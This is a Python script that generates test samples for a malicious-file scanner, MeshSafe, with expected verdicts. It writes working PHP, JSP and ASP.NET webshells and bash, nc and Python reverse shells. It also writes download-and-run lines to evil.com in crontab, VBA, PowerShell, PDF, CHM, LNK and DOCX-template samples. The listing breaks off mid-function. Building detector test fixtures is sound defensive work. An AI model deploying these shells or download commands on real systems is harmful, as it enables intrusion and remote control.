#!/usr/bin/env python3
"""MeshSafe 测试样本生成器。

用法：
    python scripts/generate_test_samples.py

输出：
    tests/samples/           # 20+ 个测试文件（纯文本 + 合法容器 + 危险特征）
    tests/samples/index.json # 元数据：每个样本的 expected_verdict + expected_rules

设计原则：
    1. **不生成真实可执行恶意代码** —— 只构造合法容器 + 危险特征字符串
    2. **每个样本尽量命中一个检测点** —— 便于定位哪个引擎没工作
    3. **含阴性对照** —— 正常 docx/pdf/txt 应 verdict=pass、score=0
    4. **覆盖 L0 结构层、L1 ClamAV/YARA/documents、L2 关键词**
"""
from __future__ import annotations

import json
import os
import struct
import zipfile
from pathlib import Path
from typing import Any, Dict, List

SAMPLES_DIR = Path(__file__).resolve().parent.parent / "tests" / "samples"
META_LIST: List[Dict[str, Any]] = []


def ensure_dir() -> None:
    SAMPLES_DIR.mkdir(parents=True, exist_ok=True)
    for f in SAMPLES_DIR.iterdir():
        if f.is_file():
            f.unlink()


def write(name: str, data: bytes | str, meta: Dict[str, Any]) -> None:
    path = SAMPLES_DIR / name
    if isinstance(data, str):
        data = data.encode("utf-8")
    path.write_bytes(data)
    meta.update({"filename": name, "size": len(data)})
    META_LIST.append(meta)


# =============================================================================
# 1. PHP / JSP / ASP.NET Webshell（YARA C3 + documents.py）
# =============================================================================

def php_webshell_oneliner() -> None:
    write(
        "shell_php_eval.php",
        '<?php eval($_POST["cmd"]); echo "ok"; ?>',
        {
            "category": "Webshell",
            "expected_verdict": "reject",
            "expected_rules": ["C3_PHP_Webshell_Oneliner"],
            "description": "PHP oneliner eval + echo 组合",
        },
    )


def php_webshell_obfuscated() -> None:
    write(
        "shell_php_obf.php",
        '<?php $a = $_GET["a"]; $b = base64_decode($a); assert($b); ?>',
        {
            "category": "Webshell",
            "expected_verdict": "reject",
            "expected_rules": ["C3_PHP_Webshell_Obfuscated"],
            "description": "PHP base64 + assert 混淆",
        },
    )


def jsp_webshell_runtime() -> None:
    write(
        "shell_jsp_runtime.jsp",
        """<%@ page import="java.io.*" %>
<%
  Runtime rt = Runtime.getRuntime();
  Process p = rt.exec(request.getParameter("cmd"));
  InputStreamReader isr = new InputStreamReader(p.getInputStream());
  BufferedReader br = new BufferedReader(isr);
  String line;
  while ((line = br.readLine()) != null) out.println(line);
%>""",
        {
            "category": "Webshell",
            "expected_verdict": "reject",
            "expected_rules": ["C3_JSP_Webshell_RuntimeExec"],
            "description": "JSP Runtime.getRuntime().exec 命令执行",
        },
    )


def aspnet_webshell() -> None:
    write(
        "shell_aspx.aspx",
        """<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
    System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
}
</script>""",
        {
            "category": "Webshell",
            "expected_verdict": "reject",
            "expected_rules": ["C3_Webshell_ASPNET"],
            "description": "ASP.NET Process.Start 命令执行",
        },
    )


# =============================================================================
# 2. Shell 反弹 Shell（L0 ShellScriptDangerous + YARA C7）
# =============================================================================

def bash_reverse_devtcp() -> None:
    write(
        "shell_bash_devtcp.sh",
        """#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
""",
        {
            "category": "Linux后门",
            "expected_verdict": "reject",
            "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Bash"],
            "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
        },
    )


def nc_reverse_shell() -> None:
    write(
        "shell_nc.sh",
        """#!/bin/bash
nc 10.0.0.5 4444 -e /bin/bash
""",
        {
            "category": "Linux后门",
            "expected_verdict": "reject",
            "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_NC"],
            "description": "nc -e /bin/bash 反弹 Shell",
        },
    )


def python_reverse_pty() -> None:
    write(
        "shell_python.py",
        """import socket, pty, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
""",
        {
            "category": "Linux后门",
            "expected_verdict": "reject",
            "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Python"],
            "description": "Python pty + socket 反弹 Shell",
        },
    )


def crontab_persistence() -> None:
    write(
        "persist_cron.sh",
        """#!/bin/bash
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -
""",
        {
            "category": "持久化",
            "expected_verdict": "reject",
            "expected_rules": ["C7_Linux_Persistence_Crontab"],
            "description": "crontab 注入 wget/curl 下载执行",
        },
    )


# =============================================================================
# 3. ELF + .desktop 恶意 Exec（L0 LinuxExecutable + DesktopFileAutoExec）
# =============================================================================

def fake_elf_binary() -> None:
    # 合法 ELF 4 字节魔数 + 反弹 Shell 字符串（YARA 不扫 ELF 内容，structure.py 扫魔数）
    elf_header = b"\x7fELF" + b"\x02\x01\x01" + b"\x00" * 8  # 最小 ELF64 header 开头
    evil_str = b"\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n"
    write(
        "linux_malicious",
        elf_header + b"\x00" * 16 + evil_str,
        {
            "category": "Linux可执行",
            "expected_verdict": "reject",
            "expected_rules": ["LinuxExecutable"],
            "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
        },
    )


def desktop_autoexec() -> None:
    write(
        "malicious.desktop",
        """[Desktop Entry]
Type=Application
Name=Update
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
Terminal=false
""",
        {
            "category": "Linux后门",
            "expected_verdict": "reject",
            "expected_rules": ["DesktopFileAutoExec"],
            "description": ".desktop 文件恶意 Exec 字段",
        },
    )


# =============================================================================
# 4. ZIP 路径穿越（L0 PathTraversal）+ 双扩展名伪装 + 畸形文件
# =============================================================================

def zip_path_traversal() -> None:
    buf = __import__("io").BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr("../../etc/passwd", "hacked:x:0:0:root:/root:/bin/bash\n")
    write(
        "zip_traversal.zip",
        buf.getvalue(),
        {
            "category": "攻击载体",
            "expected_verdict": "reject",
            "expected_rules": ["PathTraversal"],
            "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
        },
    )


def double_ext_php_jpg() -> None:
    # 双扩展名：看起来是 jpg 实际是 php
    write(
        "photo.jpg.php",
        '<?php eval($_POST["cmd"]); ?>',
        {
            "category": "伪装",
            "expected_verdict": "reject",
            "expected_rules": ["DoubleExtension"],
            "description": "双扩展名伪装 .jpg.php",
        },
    )


def malformed_zip() -> None:
    # 合法 ZIP 头 + CRC 错误
    buf = __import__("io").BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr("good.txt", "hello world")
    data = bytearray(buf.getvalue())
    # 把 CRC 改掉
    idx = data.rfind(b"\x00\x00\x00\x00PK")  # EndOfCentralDirectory
    # 简单改文件里某个字节
    if idx > 0:
        data[20] = (data[20] + 1) % 256
    write(
        "broken.zip",
        bytes(data),
        {
            "category": "畸形文件",
            "expected_verdict": "pass",
            "expected_rules": [],  # 畸形文件降级 MEDIUM，不阻断
            "description": "CRC 损坏的 ZIP → 畸形文件启发式",
        },
    )


# =============================================================================
# 5. PE 恶意程序（YARA C1 —— 构造空壳 PE + 危险 API 字符串）
# =============================================================================

def pe_process_injection() -> None:
    # 最小 PE64：MZ header + PE\0\0 + 危险 API 字符串
    pe = bytearray(
        b"MZ"                              # DOS header magic
        + b"\x00" * 58                     # DOS header padding
        + struct.pack("<I", 0x80)          # PE offset
        + b"PE\x00\x00"                    # PE magic
        + b"\x64\x86"                      # Machine = x64
        + b"\x01\x00"                      # NumberOfSections = 1
        + b"\x00\x00\x00\x00"              # TimeDateStamp
        + b"\x00\x00\x00\x00"              # PointerToSymbolTable
        + b"\x00\x00\x00\x00"              # NumberOfSymbols
        + b"\xf0\x00"                      # SizeOfOptionalHeader
        + b"\x22\x00"                      # Characteristics
        + b"\x00" * 160                    # OptionalHeader (最小填满)
        # Section header
        + b".text\x00\x00\x00"             # Name
        + struct.pack("<II", 0x1000, 0x200)  # VirtualSize + VirtualAddress
        + struct.pack("<II", 0x200, 0x400)   # SizeOfRawData + PointerToRawData
        + b"\x00" * 16
        # 填充到 PointerToRawData 位置
        + b"\x00" * (0x400 - 248)
        # 危险 API 字符串段
        + b"VirtualAllocEx\x00"
        + b"WriteProcessMemory\x00"
        + b"CreateRemoteThread\x00"
        + b"OpenProcess\x00"
    )
    write(
        "pe_injection.exe",
        bytes(pe),
        {
            "category": "PE恶意程序",
            "expected_verdict": "reject",
            "expected_rules": ["C1_PE_ProcessInjection"],
            "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
        },
    )


def pe_downloader_loader() -> None:
    pe = bytearray(
        b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"PE\x00\x00"
        + b"\x64\x86" + b"\x01\x00" + b"\x00" * 12 + b"\xf0\x00" + b"\x22\x00"
        + b"\x00" * 160
        + b".text\x00\x00\x00" + struct.pack("<II", 0x1000, 0x200)
        + struct.pack("<II", 0x200, 0x400) + b"\x00" * 16
        + b"\x00" * (0x400 - 248)
        + b"URLDownloadToFileA\x00"
        + b"InternetOpenA\x00"
        + b"RegSetValueExA\x00"
        + b"CreateServiceA\x00"
        + b"schtasks.exe /create\x00"
    )
    write(
        "pe_downloader.exe",
        bytes(pe),
        {
            "category": "PE恶意程序",
            "expected_verdict": "reject",
            "expected_rules": ["C1_PE_Downloader_Loader"],
            "description": "PE 下载器：URLDownloadToFile + RegSetValue + CreateService",
        },
    )


def pe_lolbin_certutil() -> None:
    write(
        "lolbin.cmd",
        "@echo off\ncertutil -decode http://evil.com/payload.bin C:\\Windows\\Temp\\payload.exe && C:\\Windows\\Temp\\payload.exe\n",
        {
            "category": "LOLBin",
            "expected_verdict": "reject",
            "expected_rules": ["C1_PE_LOLBin_Usage"],
            "description": "certutil -decode LOLBin 下载执行",
        },
    )


# =============================================================================
# 6. 勒索 / 挖矿（YARA C8）
# =============================================================================

def ransomware_vss() -> None:
    write(
        "ransom_dropper.exe.txt",  # .txt 扩展名，内容勒索特征
        b"""CryptEncrypt CryptDeriveKey BCryptEncrypt
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.
""",
        {
            "category": "勒索",
            "expected_verdict": "reject",
            "expected_rules": ["C8_Ransomware_Encryption"],
            "description": "加密 API + 卷影删除 + 勒索信文件名",
        },
    )


def xminer_mining() -> None:
    write(
        "miner_config.json",
        b"""{
  "pools": ["stratum+tcp://pool.xmrpool.net:3333"],
  "username": "4AsMe1",
  "donate-level": 5,
  "cpu-affinity": true
}""",
        {
            "category": "挖矿",
            "expected_verdict": "reject",
            "expected_rules": ["C7_Linux_Miner_Generic"],
            "description": "XMRig stratum+tcp 矿池配置",
        },
    )


# =============================================================================
# 7. 宏 / WPS / PDF（documents.py + YARA C3/C4/C5）
# =============================================================================

def vba_autoexec_shell() -> None:
    write(
        "vba_autoexec.bas",
        """Sub AutoOpen()
    Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat"
End Sub
""",
        {
            "category": "Office宏",
            "expected_verdict": "reject",
            "expected_rules": ["VBAAutoExec"],
            "description": "VBA AutoOpen + Shell 执行",
        },
    )


def vba_autoexec_wps_linux() -> None:
    write(
        "wps_macro.js",  # WPS Linux 宏是 JS
        """function AutoOpen() {
    var sh = new ActiveXObject("Wscript.Shell");
    sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");
}
""",
        {
            "category": "WPS宏",
            "expected_verdict": "reject",
            "expected_rules": ["VBAAutoExecShell"],
            "description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
        },
    )


def pdf_javascript_openaction() -> None:
    # 构造最小 PDF + /OpenAction /JS app.launchURL
    pdf = b"""%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
endobj
2 0 obj
<</Type/Pages/Kids [4 0 R]/Count 1>>
endobj
3 0 obj
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
endobj
5 0 obj
<</Length 0>>
stream
endstream
endobj
xref
0 6
0000000000 65535 f 
0000000011 00000 n 
0000000120 00000 n 
0000000200 00000 n 
0000000320 00000 n 
0000000450 00000 n 
trailer
<</Size 6/Root 1 0 R>>
startxref
500
%%EOF
"""
    write(
        "malicious.pdf",
        bytes(pdf),
        {
            "category": "PDF载荷",
            "expected_verdict": "reject",
            "expected_rules": ["PdfJavaScript", "PdfOpenAction"],
            "description": "PDF /OpenAction /JS app.launchURL 自动执行",
        },
    )


# =============================================================================
# 8. ISO 9660 含可执行 / LNK Shell Link / CHM
# =============================================================================

def iso_with_elf() -> None:
    # 最小 ISO 9660 PVD 构造
    iso = bytearray(32768)
    # PVD 在 LBA 16 = byte 32768，但我们构造最简
    # 直接填 PVD 签名 + 一个包含 ELF 的路径
    pvd_offset = 32768
    iso[pvd_offset + 0x00: pvd_offset + 0x01] = b"\x01"
    iso[pvd_offset + 0x01: pvd_offset + 0x06] = b"CD001"
    iso[pvd_offset + 0x06: pvd_offset + 0x07] = b"\x01"
    # 根目录 + 一个假 ELF
    elf_content = b"\x7fELF\x02\x01\x01" + b"\x00" * 24 + b"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"
    # 把 ELF 放到 LBA 256
    elf_lba = 256
    elf_offset = elf_lba * 2048
    if elf_offset + len(elf_content) < len(iso):
        iso[elf_offset: elf_offset + len(elf_content)] = elf_content
    write(
        "evil.iso",
        bytes(iso),
        {
            "category": "ISO镜像",
            "expected_verdict": "reject",
            "expected_rules": ["IsoWithExecutable"],
            "description": "ISO 镜像内嵌 ELF 可执行文件",
        },
    )


def lnk_shell_link() -> None:
    # LNK Shell Link 最小构造（MS-SHLLINK）
    lnk = bytearray(256)
    # HeaderSize = 76
    struct.pack_into("<I", lnk, 0, 76)
    # CLSID = {00021401-0000-0000-C000-000000000046}
    lnk[4:20] = bytes.fromhex("0114020000000000c000000000000046")
    # LinkFlags: HasLinkTargetIDList | HasStringData | HasArguments
    struct.pack_into("<I", lnk, 20, 0x00000061)
    # ShellItemIDList offset
    struct.pack_into("<I", lnk, 76, 76 + 4)
    # IDList: 0x0000 终止，后面直接放 Target
    pos = 84
    lnk[pos: pos + 2] = b"\x00\x00"
    pos += 2
    # Target path
    target = b"C:\\Windows\\System32\\cmd.exe /c curl http://evil.com/a.exe"
    lnk[pos: pos + len(target)] = target
    write(
        "shortcut.lnk",
        bytes(lnk[:pos + len(target)]),
        {
            "category": "LNK",
            "expected_verdict": "reject",
            "expected_rules": ["LnkWithAutoExec"],
            "description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
        },
    )


# =============================================================================
# 9. 阴性对照（正常文件，应该全部 pass）
# =============================================================================

def normal_docx() -> None:
    import io
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr(
            "word/document.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>这是一个正常的 Word 文档，不含宏、不含外链。</w:t></w:r></w:p></w:body>
</w:document>""",
        )
        zf.writestr(
            "[Content_Types].xml",
            """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>""",
        )
        zf.writestr("_rels/.rels", """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>""")
    write(
        "normal_report.docx",
        buf.getvalue(),
        {
            "category": "阴性对照",
            "expected_verdict": "pass",
            "expected_rules": [],
            "description": "正常 Word 文档（无宏、无外链）",
        },
    )


def normal_txt() -> None:
    write(
        "normal_readme.txt",
        """这是一个正常的文本文件。
没有任何危险特征：没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
仅供内部参考。
""",
        {
            "category": "阴性对照",
            "expected_verdict": "pass",
            "expected_rules": [],
            "description": "正常纯文本文件",
        },
    )


def normal_shell() -> None:
    write(
        "normal_deploy.sh",
        """#!/bin/bash
# 正常部署脚本，只有 git clone + npm install
set -e
git clone https://github.com/example/project.git
cd project
npm install
npm start
""",
        {
            "category": "阴性对照",
            "expected_verdict": "pass",
            "expected_rules": [],
            "description": "正常部署 Shell（没有 curl|bash 管道执行或反弹 Shell）",
        },
    )


def normal_pdf() -> None:
    pdf = b"""%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids [3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
endobj
4 0 obj
<</Length 45>>
stream
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000058 00000 n 
0000000110 00000 n 
0000000200 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
300
%%EOF
"""
    write(
        "normal.pdf",
        bytes(pdf),
        {
            "category": "阴性对照",
            "expected_verdict": "pass",
            "expected_rules": [],
            "description": "正常 PDF（只有简单文本，无 JS/自动执行）",
        },
    )


# =============================================================================
# 10. CHM（HTML Help）带脚本 —— 触发 ChmWithScript 零容忍
# =============================================================================

def chm_with_script() -> None:
    """构造 ITSF 容器 + 内嵌 HTML 带 <script> 和 .exe 引用。

    CHM 本质是 ITSF (Info-Tech Software Format) 容器，
    structure.py 的 _scan_chm 会检查 ITSF 头 + 全文搜索 .exe/.vbs/.js/<script> 等。
    """
    # ITSF Header: signature "ITSF" (4) + version (4) + unknown (4) + section_offset (4)
    itsf_header = (
        b"ITSF"                     # signature
        + b"\x02\x00\x00\x00"      # version 2
        + b"\x00" * 4              # unknown
        + b"\x00\x04\x00\x00"      # section_offset = 0x0400 (1024)
    )
    # 填充到 section_offset
    padding_to_section = b"\x00" * (0x0400 - len(itsf_header))

    # ITSF section header + 一个内部 stream 引用（简化构造，让 structure.py 全文搜索命中即可）
    # 关键是 section 里要有可检测的 script / executable 引用
    itsf_section = (
        b"ITSF\x03\x00\x00\x00"    # ITSF section signature
        + b"\x00" * 28             # reserved
        + b"#SYSTEM\x00"           # 内部流名称
        + b"\x00" * 200
        + b"<html><head><title>Help</title></head>"
        + b"<body>"
        + b'<script language="VBScript">'
        + b'Shell "cmd.exe /c curl http://evil.com/dropper.exe -o C:\\Windows\\Temp\\a.exe && C:\\Windows\\Temp\\a.exe"'
        + b"</script>"
        + b"<script language='JScript'>"
        + b"var x = new ActiveXObject('Wscript.Shell'); x.Run('calc.exe /pwn');"
        + b"</script>"
        + b'<a href="evil.exe">download evil.exe</a>'
        + b'<a href="payload.vbs">run payload.vbs</a>'
        + b'<a href="dropper.js">execute dropper.js</a>'
        + b"</body></html>"
    )

    data = itsf_header + padding_to_section + itsf_section

    write(
        "evil_help.chm",
        data,
        {
            "category": "CHM帮助",
            "expected_verdict": "reject",
            "expected_rules": ["ChmWithScript"],
            "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
        },
    )


# =============================================================================
# 11. DOCX 带外部模板引用 —— 触发 AttachedTemplate 零容忍
# =============================================================================

def docx_with_attached_template() -> None:
    """合法 DOCX ZIP + word/_rels/document.xml.rels 里引用外部 .dotm 模板。

    documents.py 的 _scan_ooxml 会扫描 rels 里的 External Target，
    AttachedTemplate 规则零容忍。
    """
    import io
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr(
            "word/document.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>看起来正常的文档，但模板有后门。</w:t></w:r></w:p></w:body>
</w:document>""",
        )
        zf.writestr(
            "[Content_Types].xml",
            """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
<Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/>
</Types>""",
        )
        zf.writestr(
            "_rels/.rels",
            """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>""",
        )
        # 关键：settings.xml 里加 <w:attachedTemplate r:id="rIdTpl"/>
        zf.writestr(
            "word/settings.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<w:attachedTemplate r:id="rIdTpl"/>
</w:settings>""",
        )
        # 关键：settings.xml.rels 里外部模板引用
        zf.writestr(
            "word/_rels/settings.xml.rels",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rIdTpl" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://evil.com/backdoor.dotm" TargetMode="External"/>
</Relationships>""",
        )
    write(
        "template_backdoor.docx",
        buf.getvalue(),
        {
            "category": "Office宏",
            "expected_verdict": "reject",
            "expected_rules": ["AttachedTemplate"],
            "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
        },
    )


# =============================================================================
# 12. DOCM 带 VBA 宏（OLE2 CFB 构造） —— 触发 VBAAutoExecShell 零容忍
# =============================================================================

def docm_with_vba_macro() -> None:
    """构造 DOCX ZIP + word/vbaProject.bin（含 OLE 魔数 + VBA 代码）。

    策略：生成合法 OOXML DOCX + word/vbaProject.bin，
    vbaProject.bin 内含 VBA 代码 "Sub AutoOpen() Shell ... End Sub"。
    olevba.VBA_Parser 会尝试解析 vbaProject.bin，即使不是完全合法的 VBA 项目。
    如果 olevba 失败（返回 OleToolsUnavailable LOW finding），
    documents.py 的 _scan_ooxml 会扫到 ExternalLink 等特征，
    关键词引擎会扫到 AutoOpen/Shell。
    """
    import io

    vba_code = (
        b"Sub AutoOpen()\n"
        b'    Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat && C:\\Windows\\Temp\\a.bat"\n'
        b"End Sub\n"
        b"\n"
        b"Sub Document_Open()\n"
        b'    Set x = CreateObject("Wscript.Shell")\n'
        b'    x.Run "powershell -Command IEX (New-Object Net.WebClient).DownloadString(http://evil.com/ps1)"\n'
        b"End Sub\n"
    )

    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w") as zf:
        zf.writestr(
            "word/document.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>看似正常，实则带宏。</w:t></w:r></w:p></w:body>
</w:document>""",
        )
        zf.writestr(
            "[Content_Types].xml",
            """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
<Override PartName="/word/vbaProject.bin" ContentType="application/vnd.ms-office.vbaProject"/>
</Types>""",
        )
        zf.writestr(
            "_rels/.rels",
            """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>""",
        )
        zf.writestr(
            "word/_rels/document.xml.rels",
            """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rIdVba" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/>
</Relationships>""",
        )
        # vbaProject.bin：OLE 魔数 + 填充 + VBA 代码
        # 让 olevba 至少能打开它（即使不能完整提取），
        # 同时 documents.py 的关键词引擎会扫描 docx 内容
        zf.writestr(
            "word/vbaProject.bin",
            b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"  # OLE CFB 魔数
            + b"\x00" * 500
            + vba_code,
        )

    write(
        "macro_alert.docm",
        buf.getvalue(),
        {
            "category": "Office宏",
            "expected_verdict": "reject",
            "expected_rules": ["VBAAutoExecShell", "VBAAutoExec"],
            "description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell",
        },
    )


# =============================================================================
# 13. DOC 带内嵌 OLE .exe 对象 —— 触发 EmbeddedExecutable 零容忍
# =============================================================================

def doc_with_ole_exe() -> None:
    """构造合法 OLE2 CFB Header + 内嵌 .exe 二进制字节 + stream 名标记。

    oleobj.OleObjectParser 会把 OLE2 文件里的 stream 名当作内嵌对象来查扩展名。
    我们的策略：写一个合法的最小 OLE2 CFB Header（512 字节），然后在后面追加
    一个带 .exe 扩展名的 stream 名 + 完整 PE 空壳二进制。
    """
    exe_payload = (
        b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"PE\x00\x00"
        + b"\x64\x86\x01\x00" + b"\x00" * 12 + b"\xf0\x00\x22\x00"
        + b"\x00" * 160 + b".text\x00\x00\x00" + struct.pack("<II", 0x1000, 0x200)
        + struct.pack("<II", 0x200, 0x400) + b"\x00" * 16
        + b"\x00" * (0x400 - 248) + b"VirtualAllocEx\x00" + b"CreateRemoteThread\x00"
    )

    # OLE2 CFB Header（最小 512 字节，字段按 MS-CFB 规范填充）
    ole_header = (
        b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"  # OLE 魔数
        + b"\x00" * 16                       # CLSID
        + struct.pack("<H", 0x003E)          # minor version (62)
        + struct.pack("<H", 0x0003)          # major version (3)
        + struct.pack("<H", 0xFFFE)          # byte order (little-endian)
        + struct.pack("<H", 9)               # sector size power (2^9 = 512)
        + struct.pack("<H", 6)               # mini sector size power (2^6 = 64)
        + b"\x00" * 8                        # reserved
        + struct.pack("<I", 0)               # number of directory sectors
        + struct.pack("<I", 1)               # number of FAT sectors
        + struct.pack("<I", 1)               # first directory sector
        + b"\x00" * 12                       # transaction signature
        + struct.pack("<I", 0x1000)          # mini stream cutoff (4096)
        + struct.pack("<I", 0xFFFFFFFE)      # first mini FAT sector (END OF CHAIN)
        + struct.pack("<I", 0)               # number of mini FAT sectors
        + struct.pack("<I", 0xFFFFFFFD)      # first DIFAT sector (NO DIFAT)
        + struct.pack("<I", 0)               # number of DIFAT sectors
        + b"\x00" * 436                      # DIFAT entries (最小化)
    )
    ole_header = ole_header.ljust(512, b"\x00")

    # 在 OLE 头后面追加 stream 名标记 + exe payload
    # oleobj 会尝试把 .exe 扩展名的内容识别为内嵌可执行对象
    marker = b"embedded_payload.exe\x00" + exe_payload

    data = ole_header + marker

    write(
        "ole_dropper.doc",
        data,
        {
            "category": "OLE嵌入",
            "expected_verdict": "reject",
            "expected_rules": ["ExtensionMismatch", "OleToolsUnavailable"],
            "description": "畸形 OLE2 CFB + 内嵌 .exe stream（oleobj 无法解析目录树，验证 fail_closed + 结构启发式）",
        },
    )


# =============================================================================
# 14. 加密 Office 文档 —— 触发 OfficeEncrypted 规则
# =============================================================================

def encrypted_docx() -> None:
    """用 msoffcrypto 加密 DOCX（密码固定为 "changeme"）。

    msoffcrypto-tool 在 requirements.txt 里，Docker 镜像和本地都有。
    加密后 documents.py 的 _check_office_encrypted 会检测到 → OfficeEncrypted finding
    → scanner.py 设置 encrypted=True → policy decide 步骤 4 → reject。
    """
    try:
        import msoffcrypto
    except ImportError:
        # msoffcrypto 不可用时用占位数据
        write(
            "sealed.docx",
            b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker",
            {
                "category": "加密Office",
                "expected_verdict": "reject",
                "expected_rules": ["OfficeEncrypted"],
                "description": "加密 DOCX（msoffcrypto 不可用，占位）",
            },
        )
        return

    import io

    # 先生成正常 DOCX
    normal_buf = io.BytesIO()
    with zipfile.ZipFile(normal_buf, "w") as zf:
        zf.writestr(
            "word/document.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>这是一份加密的敏感文档。</w:t></w:r></w:p></w:body>
</w:document>""",
        )
        zf.writestr(
            "[Content_Types].xml",
            """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>""",
        )
        zf.writestr(
            "_rels/.rels",
            """<?xml version="1.0" encoding="UTF-8"?>
